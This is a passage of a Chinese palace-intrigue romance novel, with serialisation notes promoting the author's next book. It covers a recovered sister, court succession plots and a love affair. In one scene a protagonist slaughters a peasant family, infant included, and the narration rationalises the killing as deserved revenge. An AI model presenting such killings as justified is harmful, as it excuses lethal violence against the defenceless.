才听他淡淡启音:“争女人, 没抢过,对方人多势众。” 倒也不必如此实诚吧……付氏干笑一声, 讷讷道:“傻孩子,怎么越活越倒退, 愿意跟你的女人多了去, 退一万步说,单靠一张脸尚公主都配的,何必去抢呢?” “我有这么好?” 废话。 付氏:“你这样的都不算好谁还敢说好?要权有权, 要钱有钱,相貌更是顶尖儿,而且你还这般年轻,关键谁嫁给你,进门直接就是当家主母……” 最后一句不等说完她就把自己嘴巴捂住,令别人心动的优点于凌云来说可能是痛点。 “您老的安慰我心领了,我没那么好, 否则人家姑娘也不会没看上我。” “哪个?我不信。” 付氏所言虽是安慰, 可说的也是事实,再现实不过的事实,十分符合当下的世情。 凌云苦笑摇了摇头,道:“那姑娘从不缺裙下之臣,当狗我都要排队, 主要我在她心里还是个眠花宿柳的脏男人。” 说完一口气干了乳鸽汤,径直越过呆若木鸡的付氏,道:“确实好喝,我回去睡觉了。” “阿云……” 付氏感觉天都塌了。 怎么会? 不可能! 阿云居然看上了阿芙! 两个风马牛不相及的人,她做梦也没想到会有瓜葛。思及此,毅王陡然浮出了水面,想到毅王也在京师,付氏一个激灵,几乎可以肯定阿云口中的情敌是谁…… 也只有这样的情敌才能将他揍这么惨啊! 折寿嘞,这还真抢不过。 怀着愧疚和不安,付氏也回去休息,她没敢想有的没的,专心思考阿云的伤势,最好再调养一个月,怎么也得把失去的精气神补充足,免得落下病根。 未料次日一大早凌府就先后来了两拨人,第一拨带来天大的好消息,找到阿窈了,就在范阳县! 不等付氏说声恭喜,就见凌云疾步跨出门槛,衣着整齐,吩咐下人备马,可见是打算亲自前往范阳县。 付氏追过去道:“离京师也不远,不如把我带上。” 凌云顿了顿,点头道:“好,还请大娘帮我仔细瞧瞧阿窈。” 付氏明白他的未尽之意,点头应声。 就在这当口,第二拨人出现,一看来人是北镇抚司的指挥使吴鸩便知准没好事儿。 吴鸩一身常服,皮笑肉不笑闯进了门。 不是门子失职,实在是拦不住,一个不好说不定还要被他一刀斩下脑袋,无须怀疑,常人无法理解的行为,吴鸩都能做出来,且真的敢做。 门子跟在他身后诚惶诚恐,汗如雨下,白着脸觑向凌云,“大人……” 凌云微点头,示意他可以退下,门子千恩万谢,弓着腰退出了角门。 “多日不见,凌佥事的气色好得很呐。”吴鸩斜眼打量凌云,随意拱了拱手,敷衍一礼。 凌云:“外伤勉强愈合,内伤还差得远。不知吴指挥今日直闯寒舍有何要事指教?” “指教不敢当,实在是日前投入了大量缇骑抓捕逆贼,而今公署仅靠吴某与夏佥事益发捉襟见肘,不得不郑重请凌佥事提前出山。”说完,又意味深长补了一句,“当然,这也是肖阁老的意思。” 凌云挑眉道:“此言差矣,不是还有蔡公公和葛公公。大家同僚为官何必要分得如此清楚?难怪外面和南镇抚司一直拿咱们北镇抚司当茶余饭后的笑料。” 吴鸩阴沉沉冷笑几声,“同僚为官?谁跟阉-狗是同僚?它们也配?凌榆白,你莫不是也要加入东厂?” 他在北镇抚司狂傲惯了,而凌云作为新人,上来就抢他风头,再加上积年旧怨,早已被其视为眼中钉,所以吴鸩说话也是一句一呛。 万没想到凌云竟没有动怒,平静的表情可以说从头到尾就没有波动过,连声音都没有起伏,“既然公署需要,那凌某后日赴任便是。” 吴鸩一拳砸到了棉花上,自讨没趣,又不敢一味生事,便冷哼了声摔袖离开了凌府。 付氏躲在假山后心想都是些什么妖魔鬼怪,杀气腾腾的。 “大娘,我们去接阿窈。”凌云忽然道。 “嗯嗯,现在就去。”付氏不放心道,“你们兄妹久别重逢不多说两句话就去当值吗?” 她听见他说后日便去上衙。 “皇宫这段时间可能不太平,我走不开。”凌云表情渐渐凝重,忽然道,“此行无论发生什么,都拜托大娘帮我照顾阿窈一段时日,阿云必永生不忘。” “说什么见外的话,我当然把阿窈当自己家孩子,快些出发。” “好。” 时年三月十五,范阳县一户普通农家,一家四口正在吃中饭,猝不及防被六名官兵破门而入。 各个锦衣皂靴,腰佩宝刀,标准的官老爷打扮,可看上去又不似寻常的官爷。 这家人瞪着不速之客骇然色变,僵在原地。 凌云扫了一眼简陋的屋子,目之所及仅有四人:四旬左右的夫妇和一名年轻人,还有个襁褓小儿躺在妇人怀中。 他双目霎时像被什么蛰了一下,疼痛烧红了眼,连嘴角也克制不住地抽了抽。 妇人回过神,尖叫一声,抱着孩子往丈夫身后躲,丈夫和儿子则不停往后退,无一不被目露凶光的陌生青年深深震慑,那阴戾冷峻的气势仿佛下一刻就要把他们完全冰冻。 凌云抽出刀,这家的长子便被一名缇骑掐着脖子拎了他跟前,长刀的刀刃随之贴在这个吓懵了的男人颈侧,随着男人的颤抖,刀刃和皮肤不断接触,每接触一下便是一道血痕。 “大人饶命大人饶命。”年轻人双股颤颤,当场便溺,“草民不知犯了什么忌讳,还请大人明示。” 凌云:“你的妻子叫什么?” 年轻人紧闭双眼,“温……温窈。” “何时成的亲?” “去年。” “几月?” “二月。” “她还差一个月才及笄,你就如此急不可耐?” 年轻人猛然睁大眼,张了张嘴,显然有无数疑问,但生存的本能使得他必须一句也不能停顿地回答凌云的问题。他颤声道:“一个月在乡下不算差的,而且草民通过三媒六聘,从她养父母手中八抬大轿娶回家,里正还为我们主持了婚礼,并非拐骗买卖。” “可她还差一个月才及笄,今年才满十六岁,你就让她生了孩子。” “女人生子本就是天经地……” 后面的话,年轻人再也没有机会说出,他的头颅被那柄削铁如泥的绣春刀削成了两截,血柱直冲房梁以及他倒下的方向——身后发出撕心裂肺惨叫的中年夫妇。 与此同时,尽管凌云提前扭过头,洁白的脸颊也未能幸免红色液体的喷溅。 他提着同样沾满液体的长刀,踩过年轻人的尸体,一步步走了过去,而后以刀直指夫妇问:“阿窈在哪儿?” 妇人翻个白眼晕倒,汉子尚还有一丝神魂,崩溃大哭道:“在后院。” “在后院做什么?” “洗……洗衣裳。” “为何你们坐在这里用饭,却叫她去后院洗衣?” 汉子痛哭流涕,一个劲忏悔,直到凌云把刀抵在他的嘴角,他才顶着涕泪横流的脸大声道:“因为她总想逃,就被我儿子教训了一顿,罚她去后院干活思过,都是我儿子的错,他已经把命赔给了你,不关我们的事!” “哥哥。” 一声轻轻的呼唤惊动杀红眼的凌云。 原来凌窈一发觉不对劲,就离开了后院,偷偷藏在帘子后听动静。 走散那年她九岁,哥哥十六,即便七年的时光流淌而过,二十三岁的哥哥,气质与声音的变化其实并不大,依然是她熟悉的,只不过更成熟了些,从少年变成了青年。 灵台一闪,她就认出了凌云。 “哥哥,真的是你吗?”凌窈喃喃道,以为自己在做梦。 “阿窈!” 凌云拧着眉凝视陌生的少女,她有种不符合年纪的沧桑和粗糙,但美人的底子尚在,只是看起来弱不禁风,气虚羸弱,相当干枯可怜。 她伸出手踉踉跄跄往前跑,不等凌云靠近,她就晕了过去。 凌云箭步上前接住了她。 他将她送给门外马车上的付氏,然后提着刀重新回到了那间简陋的屋子,手起刀落,了结了高呼救命的中年夫妇。 襁褓里的小儿顿时发出刺耳的啼哭,凌云冷漠的目光在小儿脸上定了定,抽刀,血雾喷洒,继而恢复了宁静。 被强迫生下的孩子不算孩子,只是孽种罢了。 一样的肮脏,只会令阿窈想起曾经的遭遇。 早死早托生吧,要怪就怪你那低贱的亲生父亲与祖父母。 他掏出帕子,擦了擦脸上的血,头也不回将帕子扔进身后熊熊燃烧的屋子,大步跨出门槛,登上马车。 车上付氏惊恐地瞅了他一眼,忙又低下头专心为凌窈施针,所用的金针正是程芙赠予她的那一套。 启程前,凌云挑开车窗,对缇骑道:“都是逆贼,死不足惜,还有里正,一并烧了。” 身为里正自当知晓这户人家的媳妇尚未及笄,竟还公然主持婚礼,死不足惜。 此刻的付氏要不是考虑到昏迷的病人,怕也要吓瘫了,她做梦也没想到所谓的接阿窈回家是直接把人家灭门,再加上一个里正。 坏人死有余辜,但是沾了一身血的凌云也好可怕。 …… 程芙如常当值,盯着医案校勘整整两炷香,不禁双眼发花,她揉了揉,朝洞开的大窗子望去,油绿的芭蕉叶子轻轻摇曳,叶子附近出现了老熟人荀叙,他将将路过,发现她的视线,立刻眯眸弯弯一笑。 程芙点点头,算作打招呼,余光蓦地发现一道凌厉的视线射过来,是谈御医,她立刻低下脸,继续校勘。 荀叙走进来,与谈御医说了两句话,就被谈御医撵走。 他悻悻然望了一眼程芙,怏怏不快离开了此间。 谈御医板着脸,低低嗤一声,“没出息的东西。” 殊不知没出息的东西连续在宫里当值三天三夜,皇上病危,明日开始他或许就不能再出宫城,紧张无措之下就忍不住想到了程芙。 他想见一见她,至于见面后要做什么说什么……不是很重要。 当他鼓起勇气,怀揣正当借口走进妇人科的廨所,就被外祖母撒一鼻子灰,狼狈离场。 等啊等,好不容易盼到阿芙下衙,他改走她的秘密小径,一路追啊追,然后眼睁睁看着美人登上了毅王的马车。 荀叙的心口一阵阵发麻发冷,宛如被人挖空了,露出一个大洞,风不断往里钻,他背过身,偷偷擦了把眼睛—— 作者有话说:推一推下本预收文《被登基的前任报复了》,求收藏~~~[狗头叼玫瑰][狗头叼玫瑰] 丨前任复仇复到了一个被窝丨被窝外打架,被窝里和好丨 年少的皇太孙,音色清澈动人,对温浅道:“若得表姐为妇,当作椒房专宠。” 少年的誓言诚挚动人。 时光荏苒,五年后。 新帝登基两载,后位空悬,膝下尚无一儿半女。 这一年,温浅的未婚夫病故,她饱受族人苛责。 未料父亲骤然东山再起,并将她献给了表弟——当今新帝,封正五品美人。 …… 二十岁的温浅应了年少的戏言,成为表弟的妇人。 未料奸人揭发她为早逝的未婚夫写悼词,表弟噙着玩味的笑,当着她的面漫不经心念起来,末了,认真指出两处乏味造作,建议她提升内涵多读书,又道:“阿姐端的深情,世间哪个男子见了不怜惜。” 他口中的“怜惜”别有深意。 是夜便留宿将她“怜惜”,直至她有孕。 后来,他亲手为她戴上名为凤冠的“枷锁”,将她一生一世“锁”入椒房。 是他的报复,亦是他的誓言。 ——阿姐,你人品真的很差。 ——阿姐,你玩弄我的真心,我玩弄你,咱俩彼此彼此。 随遇而安伪乖女x纯情阴暗大坏批 ——食用指南—— 1.【男女双C】【俩人各有各的缺点】【均非真善美】,建议雷点密集/要求主角完美的宝宝谨慎入坑,弃文不必告知,温言善语,你一定发大财!! 2.除了双C不作其他任何保证,架空历史,谢绝考据。 3.年龄差半岁 文案发表于2025年10月03日,已截图存证,碰瓷偷盗必究 第84章 程芙并未发觉身后跟来的荀叙, 径直登上马车。 车厢内,崔令瞻坐姿大马金刀,正高深莫测凝看窗外, 转而扫一眼走进车厢的她, 挑眉, “砰”的一声大力阖上窗子。 好大的动静, 莫名其妙,她不悦地瞪了他一眼。 崔令瞻眨了眨, 也瞪她一眼。 程芙:“……?” “约好今日一起去镜湖垂钓,若非我来得早, 你是不是打算偷偷溜回家?”崔令瞻微微歪头, 目光直视程芙。 好一个无中生有。 答应他一起垂钓……什么时候?她怎不记得?程芙睁大眼睛,嘴角轻轻抽了抽,“王爷莫非贵人记忆混乱, 我不记得有这回事。” 硬说有也是他自己提议,然而她根本没应下。 崔令瞻“哼”了声,懒得与她争长论短,长手一捞,将女人揽到了自己怀中,“过来,我有正经事与你说。” “你说, 我听着。”程芙生气地捶他手臂, 从他腿上跳了下去,“我自己会坐,你莫要打坏主意。” “谁打坏主意了?三天没见面也不给人亲近一下,你怎么浑身都是刺?”他一脸不高兴,可也没敢再将她抱进怀里, 只得侧身凝看她,拉着她的手儿,道:“明日起,我可能要在宫城待一段时日。” “今日来就是为了说这个?” 这点子事也值当跑一趟的…… “哦。”崔令瞻点点头,“主要也是为了多瞧你几眼,毕竟你这个人极其不靠谱。” 程芙低眸瞅着他的左手,五指穿过她的,紧紧交扣在一处,她能感觉到他指腹的薄茧,又暖又硬,充满了男性的力量。 “我又怎么你了?”她问。 崔令瞻没着急回答,因她得罪他的事三天三夜都说不完,比如前天休沐日与徐峻茂逛福隆寺。 “我想了解芙娘,也想芙娘多了解我习惯我,可你总说忙!忙着陪徐峻茂逛隆福寺是吧?”他说,“我讨厌这样的你。” “你……” “我没将他怎样。” “……” 他怎知她要问这个? “只要他不触及本王的逆鳞,本王愿意为芙娘卖他一个情面。” 她好好地待在他身边,纵然与徐峻茂叙旧也未曾逾矩,那么他也不会为无关紧要之人与她再生罅隙。 可是他们逛得太久,还跑去亭子里嘀嘀咕咕说话,有什么话不能在茶楼里说,非得找个没人的地方? 崔令瞻:“我说,你俩单独待那么久,说什么呢?” “跟你有什么关系?” “……”崔令瞻的表情一霎绷紧,眼神变得犀利,而后笑道,“跟我没关系啊,我才不稀罕知道呢。” 肯定不是好事,否则徐峻茂也不会木然呆坐那么久,怆然神伤。 哪壶不开提哪壶,被崔令瞻突然一提醒,程芙很难不想起阿茂悲伤的眼睛,心中一阵惆怅,口中泛起苦涩。 她郁郁寡欢道:“还有无其他事?没有的话我先回去了。” “你……?”崔令瞻一怔,攥住她腕子,将人扯回身边,气结道:“不准走,我还没与你仔细说正经事。” “王爷,你敢不敢答应我一件事?” 她被他抱进怀里,小小的,没再挣扎,眼尾因酸涩渐渐染上一层粉红。 “嗯。”崔令瞻一眨不眨盯着她动人的脸庞,用手掌轻轻抚,“莫说一件,便是十件百件我都依芙娘。” “我要你答应不管怎样……都不能因私人恩怨伤害徐峻茂。” 崔令瞻:“……” 程芙凉笑,“什么不值钱的便宜话都敢乱保证,真要你应时怎一句也说不出了?” “我在你眼里就是个只会吃醋的小人吗?”他问。 “……”程芙愣住。 崔令瞻的唇角扯了扯,轻笑一声。 他非常讨厌徐峻茂。 倘若徐峻茂走路绊一跤,被狗咬,四处沾花惹草被人打,他一定偷着乐,可他不会蓄意残害忠良,更何况此人帮他守护了芙娘多年。 此时此刻两个人视线相撞,微光灼灼,程芙嚅动嘴唇,小声道:“我没有那个意思,可徐峻茂不过一介文弱书生,虽略懂拳脚也顶多强身健体,对上武夫的真刀真枪,多半会有性命之忧……” 所以不可以像揍凌云那样揍徐峻茂。 “好,我答应你。”崔令瞻说,“不过他若敢强迫你,或者抢走你,那就另当别论了。” “他不是那种人,脸皮也没你厚。” 崔令瞻气得耳尖通红,咬牙道:“放肆!” “我哪回不放肆?”她说,“我改不了,你就当为自己着想,放弃我吧。” “想得美,我又不是没法子收拾你?” “怎么收拾?” 崔令瞻没回答,垂下眼帘噙住她软软嫩嫩的双唇,收着力气啮咬,程芙“嘶——”一声,推他,“你还要不要脸了?” “别说话,本王要狠狠收拾你。”他哑声道。 “……?” 安静的车厢,在清英的香气里,程芙觉得自己被两片温热的烫人的双唇吞没了。 男人略重的呼吸声与女人急促的哼唧声此起彼伏,他们明明已经极力克制,声音明明已经极其微弱,可彼此的耳膜仍旧接收到了擂鼓般的躁动。 崔令瞻似是感觉到了什么,用力掐住了她的腰肢。 他甚少这般强硬,却不失温柔。 程芙总觉得他今天怪怪的。 良久之后,马车已经行驶了大段路程,崔令瞻才喘息着停下,程芙趴在他肩上,红霞染透了双颊,一丝力气也使不出,大口大口呼吸。 崔令瞻笑了笑,亲亲她白腻腻的脖颈,依稀可辨淡淡牙印,他动作轻柔为她整理衣襟,而后与她交颈相拥,仿佛两页细绢,严丝合缝贴成了一页,铁一般的手臂,勒得她快要不能呼吸。 “芙娘,我好舍不得你啊。”他蹭蹭她,语气转而沉郁,“皇祖父的身体……可能撑不了太久。” 程芙的心脏重重地踉跄了一下,忘了与他生气,“皇上他……” 她没敢吐露不吉利的字眼。 “是。”崔令瞻点了点头,表情严峻,“此事切勿外传。” “嗯……你说要在宫城待一段时间是这个原因对不对?” “是。” 祖宗定下的规矩,帝王弥留之际,京师十五岁以上的皇子皇孙必须入宫侍疾,违抗者以谋逆大罪论处。 “芙娘。”他的唇摩擦着她柔软馨香的耳廓,“我放不下你,所以我一定会好好活着,然而任何事都有变数。我想了很久,哪怕厄运的可能只有千万之一,也得给你留条后路。” “你在胡言乱语什么?”程芙的声音有着自己都未发觉的颤抖。 “没有胡言乱语啊,我在说厄运的可能性。再说你成日里咒骂我,万一菩萨显灵,当真如你所愿呢?”他笑着捧住她煞白的小脸,“你听好了,如若本王罹难,国丧一结束你就马不停蹄嫁给荀叙,一刻也不要等。虽说本王瞧不上他,但其实吧……他也没那么差,他护得住你。人无完人,那点不够成熟的小缺点总有一日会因你成长。” 程芙心慌意乱,却努力平静道,“你管好自己……少管我的事。” 崔令瞻亲亲她,“记住了,必须嫁荀叙。” “你若回不来,我想嫁谁便嫁谁。”她攥紧了他胸膛的布料。 “任性!”他瞪她,“别忘了凌云,不听我的话,小心他生啃了你。也就本王由着你作,换成他,你敢惹他吗?徐峻茂更不行,他再完美,你都过不去他爹娘那关,你不要他,他爹娘也不稀罕你。” 崔令瞻这个人真的很可笑,平时大醋小醋胡乱吃,突然又干起了拉红线的营生,分析起了情敌。程芙怔怔望着他。 “咱们丑话说在前。”他似乎有点伤心,声音哽窒,凶巴巴道,“你要是还有点良心,起码也得在心里给本王守个一年半载的孝,我不准你立刻心无旁骛与别人恩爱。” “你若……没了,我立刻与别人好。”什么难听她说什么,视线却越来越模糊,像是蒙上了一层水雾。 “那我做鬼都不放过你,每晚来找你。”崔令瞻没招了,只能吻着她冰凉的唇,又一点点吻干她泪珠,直到马车悠悠停驻。 不是锦山,竟是双槐胡同。 分别前,他说:“我就知道你是个坏女人,所以我更得好好活着,休想逃出我的手掌心。” 程芙充耳不闻,撒腿跑回了家,一路冲进了自己的寝卧,泪雨纷落。 好奇怪,她为何要哭啊? 想起她天天诅咒他,想起他说菩萨万一显灵……他岂不是就要遭报应了? 程芙把脸埋进臂弯,大声哽咽。 她好像也不是特别希望他死。 但太子尚未被废,一旦登基,崔令瞻必死无疑。 当初皂河县的一干人等,除了荀叙,估计都要遭殃,所以他……他才命她马不停蹄嫁给荀叙。 他是生怕她吃一点苦,又怕她过得太滋润,临了都要威胁她守孝。 柳余琴满脸担忧,推开房门疾步走进来,“阿芙,发生何事?” “姨母。”程芙抬起脸,欲言又止,唯有紧紧地环抱住姨母。 “傻孩子。” 柳余琴拥着她,拍了拍她后背—— 作者有话说:推一推下本预收文《被登基的前任报复了》,求收藏~~~我不信攒不到两百收藏[爆哭] 丨前任复仇复到了一个被窝丨被窝外打架,被窝里和好丨 年少的皇太孙,音色清澈动人,对温浅道:“若得表姐为妇,当作椒房专宠。” 少年的誓言诚挚动人。 时光荏苒,五年后。 新帝登基两载,后位空悬,膝下尚无一儿半女。 这一年,温浅的未婚夫病故,她饱受族人苛责。 未料父亲骤然东山再起,并将她献给了表弟——当今新帝,封正五品美人。 …… 二十岁的温浅应了年少的戏言,成为表弟的妇人。 未料奸人揭发她为早逝的未婚夫写悼词,表弟噙着玩味的笑,当着她的面漫不经心念起来,末了,认真指出两处乏味造作,建议她提升内涵多读书,又道:“阿姐端的深情,世间哪个男子见了不怜惜。” 他口中的“怜惜”别有深意。 是夜便留宿将她“怜惜”,直至她有孕。 后来,他亲手为她戴上名为凤冠的“枷锁”,将她一生一世“锁”入椒房。 是他的报复,亦是他的誓言。 ——阿姐,你人品真的很差。 ——阿姐,你玩弄我的真心,我玩弄你,咱俩彼此彼此。 随遇而安伪乖女x纯情阴暗大坏批 ——食用指南—— 1.【男女双C】【俩人各有各的缺点】【均非真善美】,建议雷点密集/要求主角完美的宝宝谨慎入坑,弃文不必告知,温言善语,你一定发大财!! 2.除了双C不作其他任何保证,架空历史,谢绝考据。 3.年龄差半岁 文案发表于2025年10月03日,已截图存证,碰瓷偷盗必究 第85章 皇上随时可能驾崩, 宫里捂得那么严实,说明不知道此事才是本分,才更安全, 所以程芙没敢告之姨母实情。 如若她不是皂河县一案的告发人之一, 想必崔令瞻也不会让她知晓。 “姨母, 都是我不好, 叫你担心了。”程芙抹了把脸,把纷乱的心绪理平, 镇定道,“刚才是毅王送我回的家。” “我知道, 进宝跟我说了。”柳余琴打量着程芙的神情, 问,“他欺负你?” 程芙点了点头,一怔, 忙又摇了摇头,“就那样,他说话我不爱听。” 柳余琴莞尔,凝眸端量她片刻,最终什么也没说。 …… 景暄三十四年暮春时节,宫城上方笼罩着一团乌云,无雨, 黑沉沉, 到了夜里陡然电闪雷鸣,像是积蓄多日的洪水开闸,瓢泼人间。 皇帝龙体抱恙,众臣工有些日子未能上朝,这也是难免的事, 毕竟皇帝年纪大了,自然比不得年轻时候的精力,幸而有毅王、内阁、魏大铛主持大局,朝政倒也安稳,从无纰漏。但正常情况下更应该由太子出来监国,一则彰显正统,二则以防不测。 大部分人只知太子触犯天颜,正在明堂思过,却不知具体情况,而今思过了近两个月,情势又迫在眉睫,也该放出来,否则一旦有个不好,岂非朝纲大乱? 于是三月十六,在肖阁老的领头下,六七位重臣上疏请求赦免太子,以便监国。 奏折照常送进养心殿,每日只有皇后、毅王和魏大珰有资格近前侍疾。 内阁大臣虽不用站班,但都会花费一炷香左右围坐议政堂商议国事。 议政堂就设在养心殿以西的一间小室,类似暖阁和书房的结合体。 皇帝懒得上朝时常在此地召见大臣,来往距离短且方便。然而至今为止,没有一位阁老见过皇帝,很难不让人往皇帝是否下不了床的方面联想…… 若真如此,江山随时可能易主,下一任君主自然是太子,但太子真的可以胜任吗? 聪明人多少看出一些端倪。 皇帝早有废太子之意,可惜没等下诏人已倒下。 诸多猜测,纷至沓来。 肖太子妃趁夜混入明堂,单独见了太子一面,后又匆匆离开。 宜合宫的邱贵妃病榻惊坐起,千载难逢的好时机,不赌一把,她和太子终将一无所有,人为财死鸟为食亡,关键时刻,人心波诡云谲诡,没有什么不敢想不敢做的。 三月十七,凌窈的精神逐渐稳定,凌云便将她托付给翟妈妈和付氏,硬下心肠入宫当值。 此行虽早有准备,然而值房人员的变换依旧令凌云暗暗惊讶。他仔细观察了片刻,东厂的人未变,可见党派纷争也不是全无好处,至少吴鸩还未做到一家独大。 几名千户百户一见凌云,立刻围了上来,七嘴八舌询问:“佥事,您可算回来,吴鸩太不是东西,我们何时才能回家?” 原来他们连续当值了五日,期间没有任何人给句准话,反倒是“擅自离开值房者斩”的死令下得飞快。 这不是变相的软禁是什么? 大家都是干这个的,对此类话术再熟悉不过,当即就琢磨到要有大事发生,一时人心惶惶。 与此同时,另一处地方,肖阁老在门生众臣的簇拥下踱步离开养心殿。 今日依旧没有见到皇上。 这是好事。 怕就怕皇上如同去年一般突然又活了过来。 今时今日,与其说他有不臣之心,更应解释为顺势而为,但凡毅王与怀国公联手,他绝对三思而后行,怪就怪毅王没有,且与怀国公闹得极僵。 面对唾手可得的帝位,想到苦心栽培的嫡孙女即将沦为废太子妃,肖阁老觉得自己再不插手才是愚不可及。 不过大部分阁老依旧保持中立,他们忠于皇上,只等皇上的旨意,哪怕一时不能阻止肖阁老的司马昭之心,却都竭力避嫌。 局势越来越微妙。 摇摇欲坠。 养心殿的暖阁里,皇后一身素服,未施粉黛,面容憔悴,她的右手被皇帝冰凉的手掌紧紧握住。 荀叙和丁御医垂手立在十步开外的屏风后,眼观鼻鼻观心。 毅王则跪在皇帝的床前,好一会儿,皇帝的眼皮动了动,慢慢地睁开。 他的情况糟糕到了极点,可也不像外界误认为的失去意识,事实上他不仅有意识,还能说话,之所以迟迟未下决断,就是在等,等等看还有多少人站队。 令他欣慰的是,他的臣子依旧是他的臣子,而那些本有异心的,立时就现了原形。 现在,就看太子的了。 皇帝希望太子依旧是自己的儿子。 至于太子会不会这样想,那就交给人性了。 十八这日,三更天的梆子声将将落幕,位于养心殿同一处方向的建筑突然走水,火光熊熊,渐有蔓延之势,险象环生。 大批禁卫涌入,直至黎明才将火势压了下去,保住了周围的殿宇,也算是不幸中的万幸。 因太子所居的明堂思过殿距离火源最近,基于安全考量,有人命禁卫护送太子暂且撤离,一路撤回了东宫。 凌云等人奉命前来灭火,灭了一半就被吴鸩的人强行请走。 吴鸩道:“本官根据知情者提供的线索,于一个时辰前抓获乱党数名,今夜大火亦是乱党所为,罪证确凿,只有一事还不明确,麻烦凌佥事随我回趟北镇抚司。”他阴恻恻一笑,按紧了刀柄,左手亮出一枚腰牌,“圣谕在此,违令者斩。如肯老实配合,或许还能尽快洗脱嫌弃,请吧,凌佥事。” 凌云:“这不是圣谕,只是一块普通的当差令牌,我也有。” “难道你们也瞎了?”吴鸩厉声呵斥左右,“还不快将凌榆白拿下!” 显然他已失去耐心,连装都不屑再装,亦或时间紧迫,被什么力量催促着,无法耽搁。 在场的缇骑就没有不惧怕积威多年的吴鸩,可他下令捉拿之人是凌佥事,缇骑便有所迟疑,面面相觑。 僵持不下之际,一名千户硬着头皮站出来说和:“此事或许有误会,昨夜我等与凌佥事……” 剩下的话还未讲完就被吴鸩一记铁拳击飞。 吴鸩吼道:“吃里扒外的狗东西,乱党当前,岂容你颠倒黑白?” 正愁找不到杀鸡儆猴的鸡呢,没眼力劲的蠢货就自动送上门,吴鸩抽到长刀,眼底杀意尽显,猛一发力直劈此人头颅。 众人无不色变,高呼:“吴指挥刀下留人!” 那千户双目紧闭,“大人饶命,我错了……” “呃——” 刀刃破开皮肉,带出大量猩红的液体。 吴鸩魁梧的身形明显晃颤,凉意从心口丝丝蔓延,他低下脸一瞅,只见自己的胸膛露出一截寒光森森的刀刃,剧痛随之扩散开,痛得他右腕痉挛,“锵啷”一声,那把跟随自己十余年的长刀垂直落地。 “凌榆白……你……你……就不怕诛九族……” 吴鸩张圆了嘴巴,血水大口大口喷出,堵住了接下来的话语,他脸朝下,直挺挺栽倒,身后是目光锐利的凌云。 凌云收回秀春刀,面无表情道:“吴指挥趁乱谋逆,已被当场诛杀。” 众缇骑看傻了眼,呆成泥塑。 那名死里逃生的千户反应最快,一记鲤鱼打挺从地上蹦起,附和道:“吴指挥谋逆,游说不成意图残害同僚,多谢凌佥事救命之恩。” “我等直驾侍卫、巡查缉捕,处理大案皆为皇上钦定。乱党没有翅膀,焉能混入宫廷?即便真有,那也是内贼。如有内贼,皇上怎会不交由魏大珰与我出面,你吴鸩算什么东西?”凌云冷笑。 吴鸩确实算不得重要角色,今日之事自然有幕后指使,幕后之人才是最可怕的。 众缇骑登时各自都有了计较,多数还是为自己性命着想,不敢盲目参与,也有一部分站到了凌云的身边,誓死效忠皇上。 “都是出生入死的兄弟,我凌某不为难你们,但方才跟随吴鸩前来的兄弟,恕我暂且不能放你们离开。” 此言一出,众人一拥而上,将吴鸩的爪牙五花大绑,关押在值房,剩下的人分成两拨,一拨留下看守,一拨则随凌云前往养心殿。 …… 这日程芙下衙将将走进寝卧,小桃紧随其后隔着门板小心翼翼回禀:“奶奶,徐翰林求见。他说冒昧之处还请海涵,但事关重大,必须尽早与你详谈。” 程芙直起身子,与柳余琴对视一眼,柳余琴没有阻拦她。 两盏茶后,程芙在双槐胡同附近的一间甜水铺子见到了徐峻茂。 他看起来略略憔悴,与数日前的神采奕奕大相径庭,可目光一与她接触,登时又亮了。 正逢申正三刻,街市游人稀少,走进铺子的客人多数自带碗罐,打包回家,因而程芙和徐峻茂就成了店内唯二堂食的客人。 如此,倒也方便低声说几句话。 “芙妹妹,我与你今日所言非同小可,切莫再与他人妄议,小心祸从口出。”徐峻茂甚少如此严肃,嘴角绷紧,快要绷成一条直线。 程芙点头应下,问:“发生何事?” “具体如何我也不敢确定,只是有一股强烈的不安。”徐峻茂忧心忡忡道,“不如……不如你先告个假,在家里躲几日可好?” 程芙:“我在太医署,资历比我高的人比比皆是,天大的事也轮不到我头上。” 徐峻茂凝视她,轻轻摇头。 “你……是不是也听说了什么?”程芙敏锐地捕捉到徐峻茂异常的情绪,心尖一软,不禁安慰道,“有些事躲得过初一躲不过十五,若有人执意找我清算,不差这几日。” 她猜测徐峻茂无意中得知皇帝的病情,毕竟他接触最多的人便是侍讲,所在的公署与皇帝的互动也最为特殊,心思敏锐的情况下发觉蹊跷再正常不过。而太子一旦登基,早晚会清算皂河县特使。 关于皂河县的经历,她曾当成荣耀讲给徐峻茂听,殊不知这竟是一把悬在头顶的夺命刀。 她可能会惧怕会无措,也不指望视千万生民如草芥的太子会放过自己,只是从未后悔过。 更深层的,在她自己都没敢认真关注的心里还有一个微小的声音,那声音说:假如太子继位,你最讨厌的人总算可以彻底消失,他再也无法关心你、干涉你,世上再没有谁记得你们的一切,再没有谁长成那般讨你欢心的模样,一切都将变得无趣。 程芙垂下睫毛,眼睛里面热乎乎的,发酸。 可是连他都会死的话,那么死亡这件事突然就没有那么恐怖了,甚至是平静的。 “芙妹妹……”徐峻茂柔声呼唤她。 他没办法详细解释连日来的不安。 程芙闻听他的声音,抬眼问:“我们换个地方可好?” 当然是再好不过。正合徐峻茂的心意。 毕竟大庭广众之下议论朝政……属实大胆,也不方便说透。 不是他不懂这个道理,而是考虑到自己已经成年,又一腔情热,芙妹妹多少会怕他,假如离人群太远,于她来说肯定不舒服,但她主动要求换个更安静的地方,简直求之不得。 片刻之后,程芙轻纱覆面戴着幅巾与徐峻茂并肩走在京华河畔,垂柳如云烟,橘色的夕阳温和而明艳。 徐峻茂:“其实皇上有意废太子。” 当真? 程芙双眸顿时雪亮,迸出希冀的光,激动之余疾走两步超过他,站定他面前,仰着脸问:“那为何还不下旨?” 四下无人,徐峻茂压低了声音道:“你也知皇帝的每一道旨意都是翰林院拟定对不对?” “是。”程芙用力点头。 “我的上官方学士,乃肖阁老门生。”他缓缓道,“肖阁老是肖太子妃亲祖父。” 程芙绯红的脸颊蓦地褪去了血色。 原来他担心的不止太子继位,更怕继位前有一场腥风血雨,说严重点或许是宫变。 所以他不想她上衙,害怕任何不好的事牵连到她。 “芙妹妹,你怎么了?” 程芙被徐峻茂焦急的询问惊醒,魂回来了,魄却未归,感觉手脚冰凉,四肢僵硬,甚至肉眼可见地发抖。 但她对徐峻茂说:“我没事。大昭这么多公署和官员都能如常当值,我便也能。多谢阿茂冒着生命危险与我说这些,我会好好珍惜,不叫自己出事。” “芙妹妹,你是不是在担心他?” 徐峻茂突然问了一句没头没尾的话。 长大一些的男人就没那么好糊弄了。 